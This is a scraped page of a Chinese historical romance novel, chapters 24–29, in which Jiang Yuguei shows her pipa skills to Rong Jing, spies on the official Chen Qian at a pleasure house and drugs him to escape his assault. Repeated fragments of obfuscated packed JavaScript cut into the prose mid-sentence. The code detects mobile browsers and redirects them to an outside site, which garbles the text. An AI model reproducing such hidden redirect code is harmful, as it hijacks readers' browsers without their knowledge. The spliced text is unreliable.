l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868617|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抿唇,抬眸时,带着几分恰到好处的犹豫,轻声道:“幼时学过一点儿舞,只是荒废许久,实在生疏,恐怕难登大雅之堂。“ 舞蹈? 容璟执杯的手几不可查的一顿。 虽然早已知道她藏着琵琶这个秘密,但听到她先提及舞蹈,心底还是掠过一丝极淡的不悦。 是觉得舞蹈更能吸引陈迁那般好色之徒?还是......在跟他耍心眼? 容璟的目光在姜于归脸上细细扫过,不放过任何一丝细微的表情,直到看见她眼中一闪而过的闪烁,以及她刻意强调的生疏二字,一个清晰的念头在他脑中浮现。 田忌赛马? 想用平庸的舞蹈降低他的期待,再抛出真正的杀手锏? 有意思。 心底那点不悦瞬间被一种玩味的兴致取代。 在他面前玩弄这点小心思? 容璟面上不动声色,甚至微微颔首,表示了解,但并没有就此放过她,反而顺着她的话,用一种更为关切的,却不容回避的语气追问:“舞蹈固然能引人注目,只是荒疏太久,确实难保成效。除此之外,姜姑娘可还会别的?毕竟多一样技艺,或许多一分把握。“ 他的目光温和依旧,却带着一种洞悉一切的平静,仿佛在说,你的把戏,我已经看穿。 姜于归顿时感到一种无形的压力,她抿了抿唇,像是被逼到了悬崖边,终于抛出了另一个筹码。 在容璟平静的注视下,她低声补充道:“也会......弹一点儿琵琶。” 到底还是说了。 容璟心底掠过一丝如愿以偿的冷嘲,可他面上并未露出任何异样,反而微微蹙眉,故作权衡之态。 “琵琶与舞,各有所长。只是这两种在盛京之地,教坊之内,善此道者如过江之鲫,若只是寻常水准,怕是难以在陈迁面前留下印象,反而浪费了这难得的机会。” 他话锋一转,目光也变得锐利了些许,像是要穿透她的表象,挖掘更深层的东西。 书法,舞蹈,琵琶......除了这些呢?还有别的吗?林晏不知道的,还有多少? 他想要知道更多,想知道这个女子身上还藏着多少不为人知的惊喜。 25. 第 25 章 姜于归想起前世被父母要求淑女风范,逼着上的各种兴趣班,会的箫,笛子和围棋......不过这些都只是业余水准,闲来无事玩玩还可以,真要是拿出来展示,还比不上她的舞蹈。 毕竟舞蹈是她除了书法和琵琶外,坚持得最久的技能了。 于是她抿了抿唇,轻轻摇了摇头,表示没有其他了。 可是容璟是什么人,即便姜于归的神色表现得再正常,她那瞬间的迟疑,以及眼底一闪而过的回忆之色,还是被他精准的捕捉到了。 果然还有隐瞒? 不过容璟非但没有生气,心底反而升起一股更浓烈的期许。 无妨。 姜于归又不是那些需要在朝堂上一击即溃的政敌,若是一次就将底牌看尽,那该多无趣? 就像现在这样,像是挖掘一座深不见底的宝藏,每次都能有一点新的发现,那才值得他花费心思。 于是容璟放下茶杯,杯底与托盘发出清脆的碰撞声,在寂静的水榭中格外清晰。他的目光毫不避讳的定在姜于归的脸上。 “不碍事,不过舞蹈和琵琶技能,口说无凭,需得先看一看,我心中方能有所权衡,也好决定从何处着手安排。“ 姜于归抿了抿嘴,知道这一关是躲不过了,最后只能应下:“请世子稍后,容我先去准备片刻。“ 容璟微微颔首,看着她离去的身影,指尖在杯沿缓缓摩挲,独自等待着,想到即将亲眼见证,亲耳聆听那日她在街头未曾完全展露的琵琶技艺,他眼底闪过一丝暗芒,提前低声吩咐了候在远处的长青一句。 不过多时,姜于归换了一身简便的素色衣裙,重新回到水榭。没有丝竹伴奏,她只能凭着记忆和感觉,舒展开身形。 她跳的是一支《踏雪寻梅》,舞姿说不上多么精妙绝伦,若是以教坊司顶尖舞姬的标准来衡量,一些转身和跳跃的动作甚至能看出明显的生涩感,倒也确实如她自己所言,荒废许久,细节处经不起推敲。 然而,她的舞步里却带着一种难得的灵气与韧劲,身形舒展间,仿佛真的是在一片寂寥空旷的雪地中,怀着一点微茫却执着的希望,坚韧的寻觅着苦寒中那一缕幽然的寒香。 她的眼神清亮,带着一种沉浸其中的专注,竟让人暂时忽略了技巧上的不足。 容璟静静的看着,面上看不出任何喜怒,直到一舞终了,姜于归气息有些微喘的停下,额角渗出细密的汗珠,他才淡淡开口。 “尚可。” 只是这短短的两个字,声音却带着一丝不易察觉的低哑。他说完,便重新端起那杯已经微凉的茶,饮了一口,仿佛要压下喉间某种莫名的干涩。 姜于归心下稍安,这个评价,似乎要比她预想的好。她正准备开口,容璟却已经抬手示意,候在一旁的丫鬟立刻捧着一个古朴的紫檀木盒走上前来。 盒盖打开,里面静静的躺着一把琵琶。琴身色泽沉郁,木质纹理犹如流水行云,泛着温润内敛的光泽,一看便知绝非凡品。 “此琵琶名‘惊鸿'',据传乃是前朝乐圣心爱遗物之一,在大靖亦是排得上名号的老琴,只是闲置已久,蒙尘多时。” 容璟语气平淡的介绍,目光却落在了姜于归瞬间亮起的眼眸上,那里面充满了见到心爱之物的惊艳与痴迷。 “你且一试。” 姜于归深吸了一口气,依言净手之后,几乎是带着虔诚的心情,小心翼翼的接过“惊鸿”。 冰凉的琴身触手竟生出一丝奇异的温润感,当她纤细的指尖轻轻搭上琴弦时,一种难以言喻的熟悉与契合感瞬间涌上心头,仿佛这把琴一直在等待着她的唤醒。 她需要一手能震慑住容璟,也能充分表达她此刻心境的曲子,既要展现她不俗的技艺,又要隐含她的处境与诉求。 紧接着,她波动了琴弦。 铮——! 一声裂帛之音骤然响起,完全不似寻常琵琶的柔美婉转,反而带着一股金戈铁马的杀伐之气,瞬间撕裂了水榭午后伪装的平静。 容璟原本闲适靠在椅背上的身体,几不可查的微微绷直了。 这曲子,他从未听过。 起调便是两军对垒,山雨欲来的肃杀,紧接着轮指急如骤雨,嘈嘈切切,仿佛能听见战鼓轰隆擂响,铁蹄踏碎山河,刀剑碰撞出刺耳的火花。 他的目光变得锐利,牢牢锁在姜于归那翻飞的手指上,看着她纤细的指尖在琴弦上飞速扫,轮,推,拉,每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868618|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个音符都充满了磅礴的战意与不屈的挣扎,每一个节奏都敲击在人心最紧绷的那根弦上。 这不仅仅是演奏,更像是一种无声的宣告与质问。 她在用这首充满沙场危急,十面埋伏的曲子,告诉他林晏此刻的处境,正如曲中所描绘的那样,身陷重围,危机四伏,每一步都踏在刀尖之上。 琴声越发激烈,如同千军万马在绝境中发出最后的呐喊与咆哮,悲壮而惨烈。 最终,在几个铿锵决绝的扫弦之后,一切声响戛然而止,归于死寂。唯有余音还在梁间缠绕不去,丝丝缕缕,诉说着不甘与未尽的悲凉。 容璟精通音律,自然听得出其中高低。姜于归这手琵琶,绝非她所说的“略懂”,而是下了多年苦功,已然登堂入室,颇具大家风范。 这水平,莫说是在陈迁面前,便是入宫为陛下献艺,也毫不逊色。 他瞬间就明白了姜于归为何要田忌赛马。 先以略显平庸,甚至故意示弱的舞蹈来降低他的期待,再用这手足以惊艳四座的琵琶带来强烈的反差。不仅仅是为了争取使用相对安全的琵琶,更是为了在她不得不展露真实力时,获得更大的效果和......谈判的筹码。 好一个聪慧又懂得审时度势的女子。 一曲罢,姜于归抱着“惊鸿”,胸口微微起伏,额头上沁出细密的汗水,指尖还因方才的激烈演奏而微微颤抖。 容璟沉默了许久,久到姜于归几乎以为他不满意,心都提到了嗓子眼,她没注意到容璟眼底闪过一丝近乎炽热的精光,如同收藏家终于确认了手中是稀世珍品。 这把“惊鸿”在他库房中蒙尘多年,今日才算是真正遇到了能唤醒它的主人。 而发现这个主人的,是他容璟。 他缓缓开口,声音依旧平稳,但每个字都带着重新评估价值的慎重:“此曲,何名?” 姜于归没想到他最先问的是这个,下意识的避开了他过于深邃探究的目光,声音带着一丝不易察觉的迟疑,低声道:“《十面埋伏》。” “十面埋伏?” 容璟缓缓的重复了一遍这四个字,每个字都像是在唇齿间细细碾磨过:“好一个——《十面埋伏》。” 26. 第 26 章 他抬起眼,目光重新落在姜于归脸上,那眼神平静,却仿佛能穿透一切。 “便依姑娘所言,从琵琶入手。陈迁好乐,此技或能投其所好。” 他话锋一转,语气恢复了平时的温和持重,却带着不容置疑的掌控力:“只是要接近陈迁,光有技艺还是不够的。聆音阁那等地方,鱼龙混杂,规矩繁多,有些场面和应对,你需要先熟悉起来,方能随机应变,护得自身周全,亦不误正事。明日起,我会派人来教你必要的礼仪和应对之策。“ “是,多谢世子。“姜于归垂下眼帘,轻声应下。 是夜,荣国公府,容璟的寝室内。 万籁俱寂,唯有更漏滴答。 容璟猛然从床榻上坐起,呼吸有些紊乱,额角渗着细密的冷汗,亵衣的领口微微濡湿。 他做了一个光怪陆离,旖旎又冰冷的梦。 梦里没有水榭的清冷茶香,只剩下暧昧不明的雾气,氤氲缭绕。姜于归就在那雾气的中央,跳的却不是白日里那支略显生涩的《踏雪寻梅》。 梦里的姜于归,一身绯色轻纱,舞姿缠绵悱恻,眼波流转间,尽是撩人心魄的风情,每一个旋转,每一次回眸,都带着蚀骨销魂的魔力。 姜于归对着他笑,那笑容不再是感激,疏离或谨慎,而是化作一团灼灼燃烧的烈焰,一团诱人沉沦的迷烟。 姜于归舞动着,一步一步靠近他,带着香风,带着温热的气息。她的纤纤玉指,柔媚无骨,几乎就要抚上他的胸膛...... 容璟只感觉自己的呼吸都变得灼热急促,一种陌生的,汹涌的渴望在他体内奔腾叫嚣,冲击着他引以为傲的自制力。 他几乎就要沉溺在这片旖旎的温香软玉之中,想要将那团火焰紧紧拥入怀中,据为己有。 然而,就在他情动难抑,伸手欲将姜于归揽入怀中之际,他听到贴近他唇边的姜于归,红唇微启,溢出一声模糊却清晰无比的呢喃。 “......林晏。” 轰——! 这一声如同最锋利的冰锥,猝不及防的刺破所有迷离的幻境,也像一桶冰水从容璟头顶浇下,瞬间熄灭了所有燎原的星火。 容璟坐在床榻,胸腔剧烈起伏,黑暗中,他的脸色沉郁得能滴出水来。 房内仅剩的一支烛火,摇曳着微弱的光晕,照出他紧绷的下颌线和眼中翻涌的戾气。 一股无名邪火在他心头窜起,烧得他五脏六腑都在灼痛,难受至极。 他在气什么? 气姜于归在梦中唤了林晏的名字?可姜于归和林晏本就是情投意合,他一开始就知道,甚至乐见其成,以此作为掌控和观赏的筹码。 他只是想摧毁,想破坏,想撕下他们之间那层看似牢不可破的虚假情谊和信任。 可是现在,这股几乎要将他吞噬的怒火,究竟源于何处? 烛火微微摇晃,明明灭灭的光影在他脸上交错,最终,沉淀为一片冰冷的了然与偏执。 是了。 他气得不是姜于归念着林晏,而是姜于归的所有美好,那暗藏灵气的舞姿,那精湛绝伦足以撼动人心的琴音,那些她从不轻易示人,连林晏都未必知晓的明媚与鲜活,竟然都先与另一个男人产生了关联。 林晏不知道姜于归会这些,而他容璟,也绝不想以后林晏有机会知道这些。 他甚至无法容忍,姜于归即将为了林晏,踏入聆音阁那等污秽之地,将她这份独一无二的才艺,展示给陈迁那等庸碌好色之徒观看品评。 他想私藏。 这个念头如同野火燎原,瞬间吞噬了容璟所有的伪装和理智。 他看上的,就该是他的。 管她姜于归与林晏之间有过何等情深意重,那都是过去。 从此刻起,她姜于归,就该彻底纳入他容璟的羽翼之下,成为他独享的,不容任何人觊觎的珍藏。 至于手段和过程,那都不重要。 结果,才是一切。 想,就该去做! 容璟素来如此。 当第二日天光微亮时,容璟已经起身,洗漱更衣,恢复了平日那个清贵温润,举止有度的荣国公世子模样。 只是若有人细看,会发现他眼底深处,多了一抹志在必得的,冰冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868619|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而锐利的寒光。 计划照旧。 他依旧会帮姜于归去接近陈迁,只是这过程中的每一步,都将在他的绝对掌控之下,并且,他会让姜于归一步步看清,谁才是她唯一能够,也必须依赖的人。 几日后,一切准备就绪。 姜于归坐上了前往聆音阁的马车。 马车内饰朴素,车窗被封死,隔绝了外界的视线,姜于归只觉得外面的喧嚣人声渐渐远去,取而代之的,是一种令人心慌的,深沉的寂静,唯有车轮碾过石板路发出的单调声响,提示着她仍在移动。 不知行驶了多久,连这最后的声音也消失了,马车停了下来。 “姑娘,请下车。” 一个低沉的女声在车外响起,随即车帘被掀开,一只带着薄茧的手伸了进来,扶着她下车。 之后,姜于归被引着,走过几道回廊,穿过几重月洞门,来到一处极为僻静的独立小院。 这里与姜于归想象中的莺歌燕舞,觥筹交错的主楼区域相距甚远,静得只能听见风吹过竹叶的沙沙声。 想来也是,前院固然热闹,但也人多眼杂。某些自诩身份,要脸面的达官显贵,为了安全与隐秘,反而更愿意叫了心仪的乐伎或舞姬,来这等僻静的后院单独献艺。 然而,让她心猛的一沉的是,那名引路的,面容刻板的仆妇,取出了一条质地上乘的柔软白纱,语气不容置疑的说道:“姑娘,请抬头。“ “这是......?“姜于归抱着琵琶下意识的后退半步。 仆妇的声音毫无起伏,带着程式化的冷漠:“姑娘见谅!这里来往的皆是贵人,身份非同小可。为了防止日后不必要的麻烦,需得蒙上您的眼睛。这是规矩,还请您配合。“ 姜于归的心瞬间沉到了谷底,她紧紧抱住了怀中用布套包裹着的“惊鸿“琵琶,指节因用力而泛白。 但在对方无声的坚持下,她只能僵硬的抬起头,任由那冰凉的白纱覆上她的双眼,在脑后系紧。 刹那间,视觉被彻底剥夺,眼前陷入一片无尽的黑暗。 未知的恐惧如同冰冷的潮水,瞬间将她淹没。 27. 第 27 章 仆妇带着她进入房间,扶她在柔软的绣墩上坐下,又冷硬的交代了一句:“切记,不可私自摘下,否则若是出了什么事情,可就得姑娘你一人承担,贵人稍后便到,姑娘请在此耐心等候。” 说完,那仆妇扶着姜于归坐下后,便悄无声息的退了出去。 “咔哒——”一声轻微的脆响,姜于归的心随之一颤,侧耳仔细倾听分辨,那似乎是......落锁的声音? 瞬间,巨大的恐慌涌入她心间。 她独自一人,被困在这未知的房间里,双眼被蒙,只能凭借极其有限的听觉捕捉外界的声响。 这让她心底极其的没有安全感。 在这静谧之中,姜于归听见远处隐约传来的,模糊不清的调笑与丝竹声,此刻这些声音听来却如同鬼魅的低语,每一次传入耳中,都让姜于归身体紧绷,汗毛倒竖。 不知道过了多久,也许只是一刻,也或许有一个时辰那般漫长,门外终于传来了轻微的,沉稳的脚步声。 紧接着,房门被推开,有人走了进来。 姜于归立刻屏住呼吸,身体下意识的往后缩了缩,心脏在胸腔里狂跳不止。 来人没有说话,脚步声越过她,在不远处停下,似乎是坐在了她的对面。 姜于归虽然看不见,却能清晰的感受到一道目光,正毫无顾忌的落在她的身上。 从头到脚,带着一种冷静到......近乎残酷的审视,细细打量着她。 那种感觉,不像是寻常客人带着评头论足或色欲熏心的打量,而是更沉稳,更冷静,更像是在......评估一件物品的价值,或者审视一个落入网中的猎物。 那目光如有实质,让姜于归感到一种被剥开,无所遁形的羞耻与强烈的不安。 时间在死寂中缓慢流淌,每一息都如同煎熬,姜于归又不敢贸然开口,只能再这样的煎熬之下继续等待。 终于,一个略显低沉,又隐约带着几分沙哑的声音响起,打破了这令人窒息的沉默。 “开始吧。” 姜于归心头一紧,这个声音......似乎有点说不出的怪异,但此刻她被巨大的紧张裹挟,根本无暇顾及那隐约的熟悉感从何而来,她只知道得先完成任务,在想办法打探消息。 “是。” 姜于归带着容璟给她的惊鸿,她深吸一口气,努力压下心中的慌乱,指尖拨动了琴弦。这一次,弹得是《春江花月夜》。 在此刻姜于归双眼被蒙,前途未卜的情况下,弹得确实宁静辽阔,有自然之美的曲子。 琴音流淌,如月光倾泻,如春江缓流。 姜于归看不见,只能更加专注的感受着周遭的环境。 她听到极轻微的呼吸声,感受到一道如有实质的目光始终锁定在她身上,那目光带着审视,更带着一种让她毛骨悚然的......占有欲。 她努力维持着指法的稳定,心中却已翻江倒海。 这一切都与她预想的完全不同。她以为会是虚与委蛇的套话,会是小心翼翼的试探,却没想到是这般完全被动,任人宰割的局面。 是她太天真了,把探听消息想得过于简单。 一曲终了,余音在寂静的室内袅袅散去。 没有掌声,没有评价,只有那持续的,令人窒息的沉默。这沉默比任何斥责都更让人难熬,仿佛无形的压力从四面八方挤压而来。 姜于归抱着琵琶,忐忑的等待着。蒙眼的丝带让她失去了所有判断的依据,只能凭借听觉和直觉去感知。 然后,她听到了衣料摩擦的细微声响。 那人站了起来。 随即是很轻的脚步声,却每一步都像是踩在姜于归的心尖上。 那人正向她走来。 想到这里,姜于归的心脏猛的缩紧,抱着琵琶的手指用力到指节发白,冰冷的恐惧顺着脊椎蔓延。 接着,她感觉到一只微凉的手,带着某种她无法形容的,混合着克制与试探的意味,轻轻触上了她的脸颊。 那触感并不粗暴,甚至称得上轻柔,却让姜于归浑身一颤,如同被冰冷的蛇信舔舐。 察觉到有人触碰,姜于归浑身一颤,如同被电流击中。几乎是本能的,她猛的偏头躲开。 空气中似乎凝滞了一瞬。 随即,一个低沉而略带沙哑的声音响起,听不出喜怒,却带着一种居高临下的玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868620|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味:“聆音阁里的人没学过规矩?怎么伺候人?” 那声音......是刻意压低的,有些模糊,她辨不清是否听过,只觉得那语调里的冰冷,让她如坠冰窟。 姜于归觉得,她真的太天真了! 姜于归脸色瞬间苍白,她死死的咬住下唇,几乎是要咬出血来,才强忍着没有再次躲开。 理智在疯狂叫嚣着逃离,但残存的冷静告诉她。 不能!就算要逃,直接冲出去定然是不现实的,谁知道外面是否围着这位贵人的护卫?她这样没头没脑的冲出去,或许会被误认为政敌派来的细作,发现了什么证据想要逃走,那她就是自寻死路了。 更何况,她根本不认识路。 暂且忍一忍,再寻找离开的机会,姜于归不断在心里告诫自己。 那只手再次抚上姜于归的脸颊,指尖带着薄茧,缓慢的,带着一种近乎残忍的耐心摩挲着她的皮肤。 从颧骨到下颌,再到纤细脆弱的脖颈,动作间带着一种近乎残忍的耐心和明确信号。 那人在审视,在确认,在宣告所有权,更像是在抚摸一件属于自己的所有物。 屈辱和恐惧如同藤蔓般缠绕住她的心脏,姜于归几乎无法呼吸。 她只能紧紧抱住怀里的琵琶,任由那冰冷的触感在脸上流连,心里一遍遍告诉自己:忍耐,忍耐! 就在她觉得自己快要被这无声的凌迟逼疯时,门外传来一阵急促的脚步声,接着是压低带着恭敬的禀报声:“爷,容世子已经到了,正在流觞厅那边等您。” 身上的触碰骤然停止。 那微凉的手指离开了她的脸颊,空气中那令人窒息的压迫感也随之稍减。 “知道了。”那低沉沙哑的声音应了一句,听不出什么情绪。 紧接着,是脚步声逐渐远去,门被重新关上。 室内又只剩下她一个人,姜于归猛的松了一口气,仿佛刚从无形的枷锁中挣脱,才发现自己后背已被冷汗浸湿,紧紧贴在皮肤上,带来一阵冰凉的黏腻感。她颤抖着手,下意识的想扯掉蒙眼的丝带,却又强行忍住。 不能!万一这是试探,或者那人去而复返...... 28. 第 28 章 不过?容世子?是容璟来了? 是他恰好约了这位“贵人”,才打断了刚才的局面吗? 想来也是,容璟答应帮她,那定然有所安排。 可是——姜于归今晚本来就是来打探消息的,那个陈迁被叫走了,那她现在该怎么打探消息?难道就这样无功而返? 就在姜于归心乱如麻之际,不知该继续等待还是冒险离开之际,外面的窗外廊下便隐约传来谈话声,其中一个称呼更是清晰的飘入她的耳里。 “陈大人今日兴致颇高,方才还问起新来的姑娘。” 陈大人? 姜于归的心猛的一跳!她不知道朝中有几位陈大人,但是心中有个声音告诉她,可能这个陈大人,就是她要找的那个陈迁。 这是个机会! 强烈的念头驱使着她,姜于归仔细辨认了门外似乎无人看守,她深呼吸一口气,小心翼翼的将纱巾扯开一个缝隙。 昏暗的光线涌入,她迅速适应了一下,确认四下无人,便彻底摘下纱巾,蹑手蹑脚的溜出房间,循着那谈话声,隐藏在一处茂密的盆栽后面。 她看见一个身着桃红色襦裙,身姿窈窕的花娘,正扶着一个明显醉酒,身形微胖,穿着锦袍的男人,摇摇晃晃的朝着她这个方向走来。 那男人约莫四十上下,面色潮红,眼神迷离。 “陈大人,您慢点儿,奴婢扶您去醒醒酒。”那姑娘声音娇媚,好似一汪春水,带着勾人的韵味。 陈迁脚步虚浮,嘴里却还在含糊不清的嘟囔着:“我哪里醉了......我还能喝!” 扶着他的花娘掩唇轻笑,声音越发甜腻:“是是是,大人海量,没醉,没醉,奴家带您去个安静地方,继续喝,好不好?” 说罢她顿了顿,语气带着恰到好处的醋意:“不过呀,有奴家陪着您,您可不能再看上别的姑娘了,今晚就让奴家一人,好好为您消除这案牍劳形之苦吧。” 下一刻,那姑娘的话锋巧妙一转,带着试探:“毕竟您也和慕容府那位大人同处户部,想来他如今身陷囹圄,您多少也被牵连,受了些问责吧?真是辛苦大人了。” 这番话似乎让陈迁很受用,又或许是酒精放大了他的情绪。他哼笑一声,带着几分得意又几分怨气:“问责?哼......虽然......眼下是休沐,不过......确实烦扰!想那慕容府的案子......嘿嘿......” 他像是想到了什么极其得意的事情,笑声变得有些诡异:“幸好本官聪明......留了一手......不过就看那些人......有多想要了......” 说话间,陈迁又笑了起来。 而躲在盆栽后的姜于归听得心惊肉跳,连呼吸都屏住了! 此人果然就是陈迁,而他说的留了一手,是什么?是关林晏查到的,能让他翻案的证据是吗?还是他陷害林晏的后手? 她刚准备靠近些听个仔细,恰在此时,一声巨响袭来。 “咻——嘭——” 一束烟火猛然蹿上夜空,轰然炸开,绚烂的光芒瞬间将整个后院照的亮如白昼,也清楚的照出了姜于归藏在巨大盆栽旁的身影。 “谁在那里?”陈迁被光线刺激,醉眼的回头望天时,正好看见了姜于归的身影。 待看清是为容貌清丽身段窈窕的陌生女子,眼中的警惕和迷茫,瞬间被一丝混合着酒意转为一丝淫/邪的光,他甩开扶着他的姑娘,踉跄着朝着姜于归扑去。 陈迁喷着酒气,笑容猥琐:“呵!哪里来的小美人?躲在这里听爷说话?出来让爷好好瞧瞧。” 姜于归没想到自己会以这种方式暴露,大脑一片空白,紧张之下脚步下意识的连连后退,彻底从盆栽的阴影中暴露出来。 那位被他甩开的花娘见此情景,脸色剧变,眼中闪过一丝极快的,难以捕捉的厉色,但立刻又被焦急和惶恐所覆盖。 她急忙上前,再次用自己娇柔的身躯挡在陈迁和姜于归之间,语气带着嗔怪与哀求:“大人,您怎么的见了新人就忘了旧人?她一个新手,笨手笨脚,那里懂得伺候人的乐趣,还是让奴家来服侍您吧. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868621|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .....” 她试图用温言软语将陈迁的注意力引开,手臂暗中用力,想将他推离姜于归的方向。 奈何陈迁酒气上涌,美色当前,早就已经失去了理智,只剩下最原始的欲望。 他粗暴的一挥手,力道狠厉,带着醉汉特有的蛮力,再次狠狠推开了那个女子。 “碍事的贱婢!滚开!本官就要她!” 那姑娘被他推得一个趔趄,向后倒去。但在身体失衡的瞬间,她的腰肢以一种看似惊险,实则异常灵巧的方式微微一扭,足尖点地,悄无声息的卸去了大部分力道。 虽然看起来狼狈,但黑暗中,姜于归似乎并没有听到重物落地的闷响。 不过此刻的姜于归已经无暇去细究这细微的异常了。 因为面对着眼冒淫光,步步紧逼的陈迁,她的脸色已经煞白如雪,心脏狂跳得快要冲出胸腔。 跑?她对这里的路线一无所知,像个无头苍蝇一样乱跑,下场可能更惨。 不跑?难道真要任由这个醉鬼欺凌? 姜于归的目光飞快的扫过一旁焦急,却似乎无力阻止的花娘,心中升起一丝绝望的希冀。 如果这位姑娘能帮她,或者能引来其他人,那自然是最好不过了。 那花娘果然再次挣扎着起身,这次她没有再试图靠近陈迁,而是提高了声音,带着明显的惊慌,像是要刻意引来其他人。 “大人,使不得,这位是容世子请来的琴师,若是惊扰了容世子的贵客,奴婢吃嘴不起。” 容世子三个字果然有效。 陈迁听到这名号,动作果然迟疑了一瞬,浑浊的眼中闪过一丝忌惮。 容璟的名头,在盛京确实是块响亮的招牌。 然而,美色当前,酒精彻底麻痹了他的理智,那丝忌惮如同投入沸水的冰块,瞬间消融。 他□□一声,满不在乎的道:“琴师?哼!她又不是容世子本人!一个弹曲儿的,有什么动不得?滚开!别扫了爷的兴致!” 说着,他再次伸出肥胖的手,朝着姜于归抓来! 29. 第 29 章 看着陈迁那令人作呕的□□和扑面而来的浓烈酒气,肥胖身躯,姜于归心中的恐惧达到了顶点,手脚一片冰凉,仿佛血液都凝固了。 不能慌!不能慌!绝对不能慌! 姜于归拼命命令自己冷静,就在陈迁的手即将抓住她衣袖的千钧一发之际,她脑中灵光一闪,快速后退半步,险险避开了那只咸猪手,脸上同时挤出一个极其僵硬,却又努力显得柔顺怯懦的笑容。 “大人,您的威仪太盛,奴婢......奴婢吓着了。” 姜于归的声音带着刻意的颤抖,听起来更加我见犹怜。 一边说着,一边状似慌乱无措的侧身,眼角的余光飞快的扫过刚才弹琴的那个房间,房门未关,里面的桌子上,似乎还摆放着酒壶和酒杯! 她像是受惊过度,脚步踉跄的退向那个房间,口中继续用软语麻痹对方:“大人若想饮酒......奴婢......奴婢陪您喝一杯,给您压压惊,可好?” 陈迁见这清丽佳人带着欲拒还迎的躲避,非但不觉得被冒犯,反而觉得煞是有趣,征服欲更盛,紧跟着她就追进了屋子。 “哈哈,小美人儿想的周到!外面是不方便,还是屋里好!爷就喜欢你这懂事儿的!” 而那个花娘见此,眼神复杂的闪烁了一下,也立刻跟了上来,顺手还将房门轻轻掩上了一些,既不完全关上引人怀疑,又在一定程度上隔绝了外面的视线。 姜于归背对着陈迁,踉跄着退到桌边,颤抖着手扶住桌沿,仿佛真的吓软了腿。就在这遮掩的瞬间,她的另一只手极其迅速的从腰间隐蔽的暗袋里,摸出了一包用油纸包裹的,她早就准备好的蒙汗药。 这是她今夜出行前,深思熟虑后准备的最后手段。 原本打算在套出想要的信息后,若对方纠缠不休,便在饮酒时暗中下药,让对方误以为是自己喝醉了,她好趁机脱身。 没想到今晚事情的发展完全偏离了她的预想,但阴差阳错,这包药,最终还是用在了陈迁身上。 看着白色的药粉精准的落入酒壶中,迅速溶解在琥珀色的液体里,姜于归紧绷的心弦才稍稍松弛了一瞬,但随即又提到了嗓子眼。 成败在此一举! 她深吸一口气,努力让自己的手不再那么颤抖,从容的斟了一杯酒,然后转身,双手捧着,微微低头,奉到陈迁面前。 她的指尖因为后怕和紧张依旧控制不住的轻颤,语气却努力装出讨好和怯懦:“方才......方才听闻大人还想饮酒,奴家......奴家敬大人一杯。” 陈迁被这突如其来的顺从和娇怯弄得一愣,随即心花怒放,哈哈大笑道:“好!好!美人儿敬酒,岂有不喝之理?爷喝!” 说罢,他接过酒杯,看都没看,仰头便一饮而尽,还咂了咂嘴,淫邪的目光在姜于归身上逡巡:“酒不错!美人儿更不错!来,让爷好好疼......” 疼字的话音还未落,他脸上的笑意骤然僵住,眼神迅速涣散,变得空洞。 他还想伸手再次抓扯近在咫尺的姜于归,继续他那未成的美事,手臂却沉重得抬不起来。 喉咙里发出几声模糊不清的声响,随即“噗通——”一声闷响,他那肥胖的身躯如同断了线的木偶,重重的摔倒在地,溅起些许尘埃,彻底失去了意识。 房间里陷入一片死寂。 直到此时,姜于归才仿佛被抽空了所有力气,猛的向后靠在冰冷的墙壁上,大口大口的喘息着,额头上沁出细密的冷汗。 成功了...... 她看着地上如同一滩烂泥般瘫倒,鼾声渐起的陈迁,心中涌起的不是喜悦,而是一种劫后余生的虚脱和深深的疲惫。 见陈迁彻底昏死过去,一旁的花娘眼中飞快的闪过一抹如释重负,但立刻又被惊慌失措的表情所取代。 